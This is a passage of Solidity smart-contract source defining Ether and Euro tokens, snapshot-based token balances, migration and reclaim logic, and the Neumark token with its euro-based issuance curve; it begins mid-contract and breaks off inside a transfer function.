function deserializeClaims(bytes32 data) internal pure returns (IdentityClaims memory claims) {
assembly {
mstore(claims, and(data, 0x1))
mstore(add(claims, 0x20), div(and(data, 0x2), 0x2))
mstore(add(claims, 0x40), div(and(data, 0x4), 0x4))
mstore(add(claims, 0x60), div(and(data, 0x8), 0x8))
}
}
}
contract IIdentityRegistry {
event LogSetClaims(
address indexed identity,
bytes32 oldClaims,
bytes32 newClaims
);
function getClaims(address identity) public constant returns (bytes32);
function setClaims(address identity, bytes32 oldClaims, bytes32 newClaims) public;
}
contract KnownInterfaces {
bytes4 internal constant KNOWN_INTERFACE_NEUMARK = 0xeb41a1bd;
bytes4 internal constant KNOWN_INTERFACE_ETHER_TOKEN = 0x8cf73cf1;
bytes4 internal constant KNOWN_INTERFACE_EURO_TOKEN = 0x83c3790b;
bytes4 internal constant KNOWN_INTERFACE_IDENTITY_REGISTRY = 0x0a72e073;
bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE = 0xc6e5349e;
bytes4 internal constant KNOWN_INTERFACE_FEE_DISBURSAL = 0xf4c848e8;
bytes4 internal constant KNOWN_INTERFACE_PLATFORM_PORTFOLIO = 0xaa1590d0;
bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE = 0xddd7a521;
bytes4 internal constant KNOWN_INTERFACE_GAS_EXCHANGE = 0x89dbc6de;
bytes4 internal constant KNOWN_INTERFACE_ACCESS_POLICY = 0xb05049d9;
bytes4 internal constant KNOWN_INTERFACE_EURO_LOCK = 0x2347a19e;
bytes4 internal constant KNOWN_INTERFACE_ETHER_LOCK = 0x978a6823;
bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_LOCK = 0x36021e14;
bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_LOCK = 0x0b58f006;
bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_TOKEN = 0xae8b50b9;
bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_TOKEN = 0xc2c6cd72;
bytes4 internal constant KNOWN_INTERFACE_ICBM_COMMITMENT = 0x7f2795ef;
bytes4 internal constant KNOWN_INTERFACE_FORK_ARBITER = 0x2fe7778c;
bytes4 internal constant KNOWN_INTERFACE_PLATFORM_TERMS = 0x75ecd7f8;
bytes4 internal constant KNOWN_INTERFACE_UNIVERSE = 0xbf202454;
bytes4 internal constant KNOWN_INTERFACE_COMMITMENT = 0xfa0e0c60;
bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN_CONTROLLER = 0xfa30b2f1;
bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN = 0xab9885bb;
}
contract IMigrationTarget {
function currentMigrationSource()
public
constant
returns (address);
}
contract IMigrationSource {
event LogMigrationEnabled(
address target
);
function migrate()
public;
function enableMigration(IMigrationTarget migration)
public;
function currentMigrationTarget()
public
constant
returns (IMigrationTarget);
}
contract MigrationSource is
IMigrationSource,
AccessControlled
{
bytes32 private MIGRATION_ADMIN;
IMigrationTarget internal _migration;
modifier onlyMigrationEnabledOnce() {
require(address(_migration) == 0);
_;
}
modifier onlyMigrationEnabled() {
require(address(_migration) != 0);
_;
}
constructor(
IAccessPolicy policy,
bytes32 migrationAdminRole
)
AccessControlled(policy)
internal
{
MIGRATION_ADMIN = migrationAdminRole;
}
function migrate()
public;
function enableMigration(IMigrationTarget migration)
public
onlyMigrationEnabledOnce()
only(MIGRATION_ADMIN)
{
require(migration.currentMigrationSource() == address(this));
_migration = migration;
emit LogMigrationEnabled(_migration);
}
function currentMigrationTarget()
public
constant
returns (IMigrationTarget)
{
return _migration;
}
}
contract IsContract {
function isContract(address addr)
internal
constant
returns (bool)
{
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract Reclaimable is AccessControlled, AccessRoles {
IBasicToken constant internal RECLAIM_ETHER = IBasicToken(0x0);
function reclaim(IBasicToken token)
public
only(ROLE_RECLAIMER)
{
address reclaimer = msg.sender;
if(token == RECLAIM_ETHER) {
reclaimer.transfer(address(this).balance);
} else {
uint256 balance = token.balanceOf(this);
require(token.transfer(reclaimer, balance));
}
}
}
contract TokenMetadata is ITokenMetadata {
string private NAME;
string private SYMBOL;
uint8 private DECIMALS;
string private VERSION;
constructor(
string tokenName,
uint8 decimalUnits,
string tokenSymbol,
string version
)
public
{
NAME = tokenName;
SYMBOL = tokenSymbol;
DECIMALS = decimalUnits;
VERSION = version;
}
function name()
public
constant
returns (string)
{
return NAME;
}
function symbol()
public
constant
returns (string)
{
return SYMBOL;
}
function decimals()
public
constant
returns (uint8)
{
return DECIMALS;
}
function version()
public
constant
returns (string)
{
return VERSION;
}
}
contract MTokenAllowanceController {
function mOnApprove(
address owner,
address spender,
uint256 amount
)
internal
returns (bool allow);
function mAllowanceOverride(
address owner,
address spender
)
internal
constant
returns (uint256 allowance);
}
contract MTokenTransferController {
function mOnTransfer(
address from,
address to,
uint256 amount
)
internal
returns (bool allow);
}
contract MTokenController is MTokenTransferController, MTokenAllowanceController {
}
contract TrustlessTokenController is
MTokenController
{
function mOnTransfer(
address ,
address ,
uint256
)
internal
returns (bool allow)
{
return true;
}
function mOnApprove(
address ,
address ,
uint256
)
internal
returns (bool allow)
{
return true;
}
}
contract IERC677Callback {
function receiveApproval(
address from,
uint256 amount,
address token,
bytes data
)
public
returns (bool success);
}
contract Math {
function absDiff(uint256 v1, uint256 v2)
internal
pure
returns(uint256)
{
return v1 > v2 ? v1 - v2 : v2 - v1;
}
function divRound(uint256 v, uint256 d)
internal
pure
returns(uint256)
{
return add(v, d/2) / d;
}
function decimalFraction(uint256 amount, uint256 frac)
internal
pure
returns(uint256)
{
return proportion(amount, frac, 10**18);
}
function proportion(uint256 amount, uint256 part, uint256 total)
internal
pure
returns(uint256)
{
return divRound(mul(amount, part), total);
}
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
function max(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a > b ? a : b;
}
}
contract MTokenTransfer {
function mTransfer(
address from,
address to,
uint256 amount
)
internal;
}
contract BasicToken is
MTokenTransfer,
MTokenTransferController,
IBasicToken,
Math
{
mapping(address => uint256) internal _balances;
uint256 internal _totalSupply;
function transfer(address to, uint256 amount)
public
returns (bool)
{
mTransfer(msg.sender, to, amount);
return true;
}
function totalSupply()
public
constant
returns (uint256)
{
return _totalSupply;
}
function balanceOf(address owner)
public
constant
returns (uint256 balance)
{
return _balances[owner];
}
function mTransfer(address from, address to, uint256 amount)
internal
{
require(to != address(0));
require(mOnTransfer(from, to, amount));
_balances[from] = sub(_balances[from], amount);
_balances[to] = add(_balances[to], amount);
emit Transfer(from, to, amount);
}
}
contract TokenAllowance is
MTokenTransfer,
MTokenAllowanceController,
IERC20Allowance,
IERC677Token
{
mapping (address => mapping (address => uint256)) private _allowed;
constructor()
internal
{
}
function allowance(address owner, address spender)
public
constant
returns (uint256 remaining)
{
uint256 override = mAllowanceOverride(owner, spender);
if (override > 0) {
return override;
}
return _allowed[owner][spender];
}
function approve(address spender, uint256 amount)
public
returns (bool success)
{
require(mOnApprove(msg.sender, spender, amount));
require((amount == 0 || _allowed[msg.sender][spender] == 0) && mAllowanceOverride(msg.sender, spender) == 0);
_allowed[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount)
public
returns (bool success)
{
uint256 allowed = mAllowanceOverride(from, msg.sender);
if (allowed == 0) {
allowed = _allowed[from][msg.sender];
_allowed[from][msg.sender] -= amount;
}
require(allowed >= amount);
mTransfer(from, to, amount);
return true;
}
function approveAndCall(
address spender,
uint256 amount,
bytes extraData
)
public
returns (bool success)
{
require(approve(spender, amount));
success = IERC677Callback(spender).receiveApproval(
msg.sender,
amount,
this,
extraData
);
require(success);
return true;
}
function mAllowanceOverride(
address ,
address
)
internal
constant
returns (uint256)
{
return 0;
}
}
contract StandardToken is
IERC20Token,
BasicToken,
TokenAllowance
{
}
contract IContractId {
function contractId() public pure returns (bytes32 id, uint256 version);
}
contract IWithdrawableToken {
function withdraw(uint256 amount)
public;
}
contract EtherToken is
IsContract,
IContractId,
AccessControlled,
StandardToken,
TrustlessTokenController,
IWithdrawableToken,
TokenMetadata,
IERC223Token,
Reclaimable
{
string private constant NAME = "Ether Token";
string private constant SYMBOL = "ETH-T";
uint8 private constant DECIMALS = 18;
event LogDeposit(
address indexed to,
uint256 amount
);
event LogWithdrawal(
address indexed from,
uint256 amount
);
event LogWithdrawAndSend(
address indexed from,
address indexed to,
uint256 amount
);
constructor(IAccessPolicy accessPolicy)
AccessControlled(accessPolicy)
StandardToken()
TokenMetadata(NAME, DECIMALS, SYMBOL, "")
Reclaimable()
public
{
}
function deposit()
public
payable
{
depositPrivate();
emit Transfer(address(0), msg.sender, msg.value);
}
function depositAndTransfer(address transferTo, uint256 amount, bytes data)
public
payable
{
depositPrivate();
transfer(transferTo, amount, data);
}
function withdraw(uint256 amount)
public
{
withdrawPrivate(amount);
msg.sender.transfer(amount);
}
function withdrawAndSend(address sendTo, uint256 amount)
public
payable
{
require(amount >= msg.value, "NF_ET_NO_DEPOSIT");
if (amount > msg.value) {
uint256 withdrawRemainder = amount - msg.value;
withdrawPrivate(withdrawRemainder);
}
emit LogWithdrawAndSend(msg.sender, sendTo, amount);
sendTo.transfer(amount);
}
function transfer(address to, uint256 amount, bytes data)
public
returns (bool)
{
BasicToken.mTransfer(msg.sender, to, amount);
if (isContract(to)) {
IERC223Callback(to).tokenFallback(msg.sender, amount, data);
}
return true;
}
function reclaim(IBasicToken token)
public
{
require(token != RECLAIM_ETHER);
Reclaimable.reclaim(token);
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x75b86bc24f77738576716a36431588ae768d80d077231d1661c2bea674c6373a, 0);
}
function depositPrivate()
private
{
_balances[msg.sender] = add(_balances[msg.sender], msg.value);
_totalSupply = add(_totalSupply, msg.value);
emit LogDeposit(msg.sender, msg.value);
}
function withdrawPrivate(uint256 amount)
private
{
require(_balances[msg.sender] >= amount);
_balances[msg.sender] = sub(_balances[msg.sender], amount);
_totalSupply = sub(_totalSupply, amount);
emit LogWithdrawal(msg.sender, amount);
emit Transfer(msg.sender, address(0), amount);
}
}
contract EuroToken is
Agreement,
IERC677Token,
StandardToken,
IWithdrawableToken,
ITokenControllerHook,
TokenMetadata,
IERC223Token,
IsContract,
IContractId
{
string private constant NAME = "Euro Token";
string private constant SYMBOL = "EUR-T";
uint8 private constant DECIMALS = 18;
ITokenController private _tokenController;
event LogDeposit(
address indexed to,
address by,
uint256 amount,
bytes32 reference
);
event LogWithdrawal(
address indexed from,
uint256 amount
);
event LogWithdrawSettled(
address from,
address by,
uint256 amount,
uint256 originalAmount,
bytes32 withdrawTxHash,
bytes32 reference
);
event LogDestroy(
address indexed from,
address by,
uint256 amount
);
modifier onlyIfDepositAllowed(address to, uint256 amount) {
require(_tokenController.onGenerateTokens(msg.sender, to, amount));
_;
}
modifier onlyIfWithdrawAllowed(address from, uint256 amount) {
require(_tokenController.onDestroyTokens(msg.sender, from, amount));
_;
}
constructor(
IAccessPolicy accessPolicy,
IEthereumForkArbiter forkArbiter,
ITokenController tokenController
)
Agreement(accessPolicy, forkArbiter)
StandardToken()
TokenMetadata(NAME, DECIMALS, SYMBOL, "")
public
{
require(tokenController != ITokenController(0x0));
_tokenController = tokenController;
}
function deposit(address to, uint256 amount, bytes32 reference)
public
only(ROLE_EURT_DEPOSIT_MANAGER)
onlyIfDepositAllowed(to, amount)
acceptAgreement(to)
{
require(to != address(0));
_balances[to] = add(_balances[to], amount);
_totalSupply = add(_totalSupply, amount);
emit LogDeposit(to, msg.sender, amount, reference);
emit Transfer(address(0), to, amount);
}
function depositMany(address[] to, uint256[] amount, bytes32[] reference)
public
{
require(to.length == amount.length);
require(to.length == reference.length);
for (uint256 i = 0; i < to.length; i++) {
deposit(to[i], amount[i], reference[i]);
}
}
function withdraw(uint256 amount)
public
onlyIfWithdrawAllowed(msg.sender, amount)
acceptAgreement(msg.sender)
{
destroyTokensPrivate(msg.sender, amount);
emit LogWithdrawal(msg.sender, amount);
}
function settleWithdraw(address from, uint256 amount, uint256 originalAmount, bytes32 withdrawTxHash, bytes32 reference)
public
only(ROLE_EURT_DEPOSIT_MANAGER)
{
emit LogWithdrawSettled(from, msg.sender, amount, originalAmount, withdrawTxHash, reference);
}
function destroy(address owner, uint256 amount)
public
only(ROLE_EURT_LEGAL_MANAGER)
{
destroyTokensPrivate(owner, amount);
emit LogDestroy(owner, msg.sender, amount);
}
function changeTokenController(address newController)
public
{
require(_tokenController.onChangeTokenController(msg.sender, newController));
_tokenController = ITokenController(newController);
emit LogChangeTokenController(_tokenController, newController, msg.sender);
}
function tokenController()
public
constant
returns (address)
{
return _tokenController;
}
function transfer(address to, uint256 amount, bytes data)
public
returns (bool success)
{
return ierc223TransferInternal(msg.sender, to, amount, data);
}
function depositAndTransfer(
address depositTo,
address transferTo,
uint256 depositAmount,
uint256 transferAmount,
bytes data,
bytes32 reference
)
public
returns (bool success)
{
deposit(depositTo, depositAmount, reference);
return ierc223TransferInternal(depositTo, transferTo, transferAmount, data);
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0xfb5c7e43558c4f3f5a2d87885881c9b10ff4be37e3308579c178bf4eaa2c29cd, 0);
}
function mOnTransfer(
address from,
address to,
uint256 amount
)
internal
acceptAgreement(from)
returns (bool allow)
{
address broker = msg.sender;
if (broker != from) {
bool isDepositor = accessPolicy().allowed(msg.sender, ROLE_EURT_DEPOSIT_MANAGER, this, msg.sig);
if (isDepositor) {
broker = from;
}
}
return _tokenController.onTransfer(broker, from, to, amount);
}
function mOnApprove(
address owner,
address spender,
uint256 amount
)
internal
acceptAgreement(owner)
returns (bool allow)
{
return _tokenController.onApprove(owner, spender, amount);
}
function mAllowanceOverride(
address owner,
address spender
)
internal
constant
returns (uint256)
{
return _tokenController.onAllowance(owner, spender);
}
function mCanAmend(address legalRepresentative)
internal
returns (bool)
{
return accessPolicy().allowed(legalRepresentative, ROLE_EURT_LEGAL_MANAGER, this, msg.sig);
}
function destroyTokensPrivate(address owner, uint256 amount)
private
{
require(_balances[owner] >= amount);
_balances[owner] = sub(_balances[owner], amount);
_totalSupply = sub(_totalSupply, amount);
emit Transfer(owner, address(0), amount);
}
function ierc223TransferInternal(address from, address to, uint256 amount, bytes data)
private
returns (bool success)
{
BasicToken.mTransfer(from, to, amount);
if (isContract(to)) {
IERC223Callback(to).tokenFallback(from, amount, data);
}
return true;
}
}
contract Serialization {
function decodeAddress(bytes b)
internal
pure
returns (address a)
{
require(b.length == 20);
assembly {
a := and(mload(add(b, 20)), 0x00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
}
}
}
contract NeumarkIssuanceCurve {
uint256 private constant NEUMARK_CAP = 1500000000000000000000000000;
uint256 private constant INITIAL_REWARD_FRACTION = 6500000000000000000;
uint256 private constant ISSUANCE_LIMIT_EUR_ULPS = 8300000000000000000000000000;
uint256 private constant LINEAR_APPROX_LIMIT_EUR_ULPS = 2100000000000000000000000000;
uint256 private constant NEUMARKS_AT_LINEAR_LIMIT_ULPS = 1499832501287264827896539871;
uint256 private constant TOT_LINEAR_NEUMARKS_ULPS = NEUMARK_CAP - NEUMARKS_AT_LINEAR_LIMIT_ULPS;
uint256 private constant TOT_LINEAR_EUR_ULPS = ISSUANCE_LIMIT_EUR_ULPS - LINEAR_APPROX_LIMIT_EUR_ULPS;
function incremental(uint256 totalEuroUlps, uint256 euroUlps)
public
pure
returns (uint256 neumarkUlps)
{
require(totalEuroUlps + euroUlps >= totalEuroUlps);
uint256 from = cumulative(totalEuroUlps);
uint256 to = cumulative(totalEuroUlps + euroUlps);
assert(to >= from);
return to - from;
}
function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps)
public
pure
returns (uint256 euroUlps)
{
uint256 totalNeumarkUlps = cumulative(totalEuroUlps);
require(totalNeumarkUlps >= burnNeumarkUlps);
uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps;
uint newTotalEuroUlps = cumulativeInverse(fromNmk, 0, totalEuroUlps);
assert(totalEuroUlps >= newTotalEuroUlps);
return totalEuroUlps - newTotalEuroUlps;
}
function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
public
pure
returns (uint256 euroUlps)
{
uint256 totalNeumarkUlps = cumulative(totalEuroUlps);
require(totalNeumarkUlps >= burnNeumarkUlps);
uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps;
uint newTotalEuroUlps = cumulativeInverse(fromNmk, minEurUlps, maxEurUlps);
assert(totalEuroUlps >= newTotalEuroUlps);
return totalEuroUlps - newTotalEuroUlps;
}
function cumulative(uint256 euroUlps)
public
pure
returns(uint256 neumarkUlps)
{
if (euroUlps >= ISSUANCE_LIMIT_EUR_ULPS) {
return NEUMARK_CAP;
}
if (euroUlps >= LINEAR_APPROX_LIMIT_EUR_ULPS) {
return NEUMARKS_AT_LINEAR_LIMIT_ULPS + (TOT_LINEAR_NEUMARKS_ULPS * (euroUlps - LINEAR_APPROX_LIMIT_EUR_ULPS)) / TOT_LINEAR_EUR_ULPS;
}
uint256 d = 230769230769230769230769231;
uint256 term = NEUMARK_CAP;
uint256 sum = 0;
uint256 denom = d;
do assembly {
term := div(mul(term, euroUlps), denom)
sum := add(sum, term)
denom := add(denom, d)
term := div(mul(term, euroUlps), denom)
sum := sub(sum, term)
denom := add(denom, d)
} while (term != 0);
return sum;
}
function cumulativeInverse(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
public
pure
returns (uint256 euroUlps)
{
require(maxEurUlps >= minEurUlps);
require(cumulative(minEurUlps) <= neumarkUlps);
require(cumulative(maxEurUlps) >= neumarkUlps);
uint256 min = minEurUlps;
uint256 max = maxEurUlps;
while (max > min) {
uint256 mid = (max + min) / 2;
uint256 val = cumulative(mid);
if (val < neumarkUlps) {
min = mid + 1;
} else {
max = mid;
}
}
return max;
}
function neumarkCap()
public
pure
returns (uint256)
{
return NEUMARK_CAP;
}
function initialRewardFraction()
public
pure
returns (uint256)
{
return INITIAL_REWARD_FRACTION;
}
}
contract ISnapshotable {
event LogSnapshotCreated(uint256 snapshotId);
function createSnapshot()
public
returns (uint256);
function currentSnapshotId()
public
constant
returns (uint256);
}
contract MSnapshotPolicy {
function mAdvanceSnapshotId()
internal
returns (uint256);
function mCurrentSnapshotId()
internal
constant
returns (uint256);
}
contract Daily is MSnapshotPolicy {
uint256 private MAX_TIMESTAMP = 3938453320844195178974243141571391;
constructor(uint256 start) internal {
if (start > 0) {
uint256 base = dayBase(uint128(block.timestamp));
require(start >= base);
require(start < base + 2**128);
}
}
function snapshotAt(uint256 timestamp)
public
constant
returns (uint256)
{
require(timestamp < MAX_TIMESTAMP);
return dayBase(uint128(timestamp));
}
function mAdvanceSnapshotId()
internal
returns (uint256)
{
return mCurrentSnapshotId();
}
function mCurrentSnapshotId()
internal
constant
returns (uint256)
{
return dayBase(uint128(block.timestamp));
}
function dayBase(uint128 timestamp)
internal
pure
returns (uint256)
{
return 2**128 * (uint256(timestamp) / 1 days);
}
}
contract DailyAndSnapshotable is
Daily,
ISnapshotable
{
uint256 private _currentSnapshotId;
constructor(uint256 start)
internal
Daily(start)
{
if (start > 0) {
_currentSnapshotId = start;
}
}
function createSnapshot()
public
returns (uint256)
{
uint256 base = dayBase(uint128(block.timestamp));
if (base > _currentSnapshotId) {
_currentSnapshotId = base;
} else {
_currentSnapshotId += 1;
}
emit LogSnapshotCreated(_currentSnapshotId);
return _currentSnapshotId;
}
function mAdvanceSnapshotId()
internal
returns (uint256)
{
uint256 base = dayBase(uint128(block.timestamp));
if (base > _currentSnapshotId) {
_currentSnapshotId = base;
emit LogSnapshotCreated(base);
}
return _currentSnapshotId;
}
function mCurrentSnapshotId()
internal
constant
returns (uint256)
{
uint256 base = dayBase(uint128(block.timestamp));
return base > _currentSnapshotId ? base : _currentSnapshotId;
}
}
contract Snapshot is MSnapshotPolicy {
struct Values {
uint256 snapshotId;
uint256 value;
}
function hasValue(
Values[] storage values
)
internal
constant
returns (bool)
{
return values.length > 0;
}
function hasValueAt(
Values[] storage values,
uint256 snapshotId
)
internal
constant
returns (bool)
{
require(snapshotId <= mCurrentSnapshotId());
return values.length > 0 && values[0].snapshotId <= snapshotId;
}
function getValue(
Values[] storage values,
uint256 defaultValue
)
internal
constant
returns (uint256)
{
if (values.length == 0) {
return defaultValue;
} else {
uint256 last = values.length - 1;
return values[last].value;
}
}
function getValueAt(
Values[] storage values,
uint256 snapshotId,
uint256 defaultValue
)
internal
constant
returns (uint256)
{
require(snapshotId <= mCurrentSnapshotId());
if (values.length == 0) {
return defaultValue;
}
uint256 last = values.length - 1;
uint256 lastSnapshot = values[last].snapshotId;
if (snapshotId >= lastSnapshot) {
return values[last].value;
}
uint256 firstSnapshot = values[0].snapshotId;
if (snapshotId < firstSnapshot) {
return defaultValue;
}
uint256 min = 0;
uint256 max = last;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (values[mid].snapshotId <= snapshotId) {
min = mid;
} else {
max = mid - 1;
}
}
return values[min].value;
}
function setValue(
Values[] storage values,
uint256 value
)
internal
{
uint256 currentSnapshotId = mAdvanceSnapshotId();
bool empty = values.length == 0;
if (empty) {
values.push(
Values({
snapshotId: currentSnapshotId,
value: value
})
);
return;
}
uint256 last = values.length - 1;
bool hasNewSnapshot = values[last].snapshotId < currentSnapshotId;
if (hasNewSnapshot) {
bool unmodified = values[last].value == value;
if (unmodified) {
return;
}
values.push(
Values({
snapshotId: currentSnapshotId,
value: value
})
);
} else {
bool previousUnmodified = last > 0 && values[last - 1].value == value;
if (previousUnmodified) {
delete values[last];
values.length--;
return;
}
values[last].value = value;
}
}
}
contract BasicSnapshotToken is
MTokenTransfer,
MTokenTransferController,
IClonedTokenParent,
IBasicToken,
Snapshot
{
IClonedTokenParent private PARENT_TOKEN;
uint256 private PARENT_SNAPSHOT_ID;
mapping (address => Values[]) internal _balances;
Values[] internal _totalSupplyValues;
constructor(
IClonedTokenParent parentToken,
uint256 parentSnapshotId
)
Snapshot()
internal
{
PARENT_TOKEN = parentToken;
if (parentToken == address(0)) {
require(parentSnapshotId == 0);
} else {
if (parentSnapshotId == 0) {
require(parentToken.currentSnapshotId() > 0);
PARENT_SNAPSHOT_ID = parentToken.currentSnapshotId() - 1;
} else {
PARENT_SNAPSHOT_ID = parentSnapshotId;
}
}
}
function totalSupply()
public
constant
returns (uint256)
{
return totalSupplyAtInternal(mCurrentSnapshotId());
}
function balanceOf(address owner)
public
constant
returns (uint256 balance)
{
return balanceOfAtInternal(owner, mCurrentSnapshotId());
}
function transfer(address to, uint256 amount)
public
returns (bool success)
{
mTransfer(msg.sender, to, amount);
return true;
}
function totalSupplyAt(uint256 snapshotId)
public
constant
returns(uint256)
{
return totalSupplyAtInternal(snapshotId);
}
function balanceOfAt(address owner, uint256 snapshotId)
public
constant
returns (uint256)
{
return balanceOfAtInternal(owner, snapshotId);
}
function currentSnapshotId()
public
constant
returns (uint256)
{
return mCurrentSnapshotId();
}
function parentToken()
public
constant
returns(IClonedTokenParent parent)
{
return PARENT_TOKEN;
}
function parentSnapshotId()
public
constant
returns(uint256 snapshotId)
{
return PARENT_SNAPSHOT_ID;
}
function allBalancesOf(address owner)
external
constant
returns (uint256[2][])
{
Values[] storage values = _balances[owner];
uint256[2][] memory balances = new uint256[2][](values.length);
for(uint256 ii = 0; ii < values.length; ++ii) {
balances[ii] = [values[ii].snapshotId, values[ii].value];
}
return balances;
}
function totalSupplyAtInternal(uint256 snapshotId)
internal
constant
returns(uint256)
{
Values[] storage values = _totalSupplyValues;
if (hasValueAt(values, snapshotId)) {
return getValueAt(values, snapshotId, 0);
}
if (address(PARENT_TOKEN) != 0) {
uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID;
return PARENT_TOKEN.totalSupplyAt(earlierSnapshotId);
}
return 0;
}
function balanceOfAtInternal(address owner, uint256 snapshotId)
internal
constant
returns (uint256)
{
Values[] storage values = _balances[owner];
if (hasValueAt(values, snapshotId)) {
return getValueAt(values, snapshotId, 0);
}
if (PARENT_TOKEN != address(0)) {
uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID;
return PARENT_TOKEN.balanceOfAt(owner, earlierSnapshotId);
}
return 0;
}
function mTransfer(
address from,
address to,
uint256 amount
)
internal
{
require(to != address(0));
require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId());
require(mOnTransfer(from, to, amount));
uint256 previousBalanceFrom = balanceOf(from);
require(previousBalanceFrom >= amount);
uint256 newBalanceFrom = previousBalanceFrom - amount;
setValue(_balances[from], newBalanceFrom);
uint256 previousBalanceTo = balanceOf(to);
uint256 newBalanceTo = previousBalanceTo + amount;
assert(newBalanceTo >= previousBalanceTo);
setValue(_balances[to], newBalanceTo);
emit Transfer(from, to, amount);
}
}
contract MTokenMint {
function mGenerateTokens(address owner, uint256 amount)
internal;
function mDestroyTokens(address owner, uint256 amount)
internal;
}
contract MintableSnapshotToken is
BasicSnapshotToken,
MTokenMint
{
constructor(
IClonedTokenParent parentToken,
uint256 parentSnapshotId
)
BasicSnapshotToken(parentToken, parentSnapshotId)
internal
{}
function mGenerateTokens(address owner, uint256 amount)
internal
{
require(owner != address(0));
require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId());
uint256 curTotalSupply = totalSupply();
uint256 newTotalSupply = curTotalSupply + amount;
require(newTotalSupply >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(owner);
uint256 newBalanceTo = previousBalanceTo + amount;
assert(newBalanceTo >= previousBalanceTo);
setValue(_totalSupplyValues, newTotalSupply);
setValue(_balances[owner], newBalanceTo);
emit Transfer(0, owner, amount);
}
function mDestroyTokens(address owner, uint256 amount)
internal
{
require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId());
uint256 curTotalSupply = totalSupply();
require(curTotalSupply >= amount);
uint256 previousBalanceFrom = balanceOf(owner);
require(previousBalanceFrom >= amount);
uint256 newTotalSupply = curTotalSupply - amount;
uint256 newBalanceFrom = previousBalanceFrom - amount;
setValue(_totalSupplyValues, newTotalSupply);
setValue(_balances[owner], newBalanceFrom);
emit Transfer(owner, 0, amount);
}
}
contract StandardSnapshotToken is
MintableSnapshotToken,
TokenAllowance
{
constructor(
IClonedTokenParent parentToken,
uint256 parentSnapshotId
)
MintableSnapshotToken(parentToken, parentSnapshotId)
TokenAllowance()
internal
{}
}
contract IERC223LegacyCallback {
function onTokenTransfer(address from, uint256 amount, bytes data)
public;
}
contract Neumark is
AccessControlled,
AccessRoles,
Agreement,
DailyAndSnapshotable,
StandardSnapshotToken,
TokenMetadata,
IERC223Token,
NeumarkIssuanceCurve,
Reclaimable,
IsContract
{
string private constant TOKEN_NAME = "Neumark";
uint8 private constant TOKEN_DECIMALS = 18;
string private constant TOKEN_SYMBOL = "NEU";
string private constant VERSION = "NMK_1.0";
bool private _transferEnabled = false;
uint256 private _totalEurUlps;
event LogNeumarksIssued(
address indexed owner,
uint256 euroUlps,
uint256 neumarkUlps
);
event LogNeumarksBurned(
address indexed owner,
uint256 euroUlps,
uint256 neumarkUlps
);
constructor(
IAccessPolicy accessPolicy,
IEthereumForkArbiter forkArbiter
)
AccessRoles()
Agreement(accessPolicy, forkArbiter)
StandardSnapshotToken(
IClonedTokenParent(0x0),
0
)
TokenMetadata(
TOKEN_NAME,
TOKEN_DECIMALS,
TOKEN_SYMBOL,
VERSION
)
DailyAndSnapshotable(0)
NeumarkIssuanceCurve()
Reclaimable()
public
{}
function issueForEuro(uint256 euroUlps)
public
only(ROLE_NEUMARK_ISSUER)
acceptAgreement(msg.sender)
returns (uint256)
{
require(_totalEurUlps + euroUlps >= _totalEurUlps);
uint256 neumarkUlps = incremental(_totalEurUlps, euroUlps);
_totalEurUlps += euroUlps;
mGenerateTokens(msg.sender, neumarkUlps);
emit LogNeumarksIssued(msg.sender, euroUlps, neumarkUlps);
return neumarkUlps;
}
function distribute(address to, uint256 neumarkUlps)
public
only(ROLE_NEUMARK_ISSUER)
acceptAgreement(to)
{
mTransfer(msg.sender, to, neumarkUlps);
}
function burn(uint256 neumarkUlps)
public
only(ROLE_NEUMARK_BURNER)
{
burnPrivate(neumarkUlps, 0, _totalEurUlps);
}
function burn(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
public
only(ROLE_NEUMARK_BURNER)
{
burnPrivate(neumarkUlps, minEurUlps, maxEurUlps);
}
function enableTransfer(bool enabled)
public
only(ROLE_TRANSFER_ADMIN)
{
_transferEnabled = enabled;
}
function createSnapshot()
public
only(ROLE_SNAPSHOT_CREATOR)
returns (uint256)
{
return DailyAndSnapshotable.createSnapshot();
}
function transferEnabled()
public
constant
returns (bool)
{
return _transferEnabled;
}
function totalEuroUlps()
public
constant
returns (uint256)
{
return _totalEurUlps;
}
function incremental(uint256 euroUlps)
public
constant
returns (uint256 neumarkUlps)
{
return incremental(_totalEurUlps, euroUlps);
}
function transfer(address to, uint256 amount, bytes data)
public
returns (bool)
{
BasicSnapshotToken.mTransfer(msg.sender, to, amount);
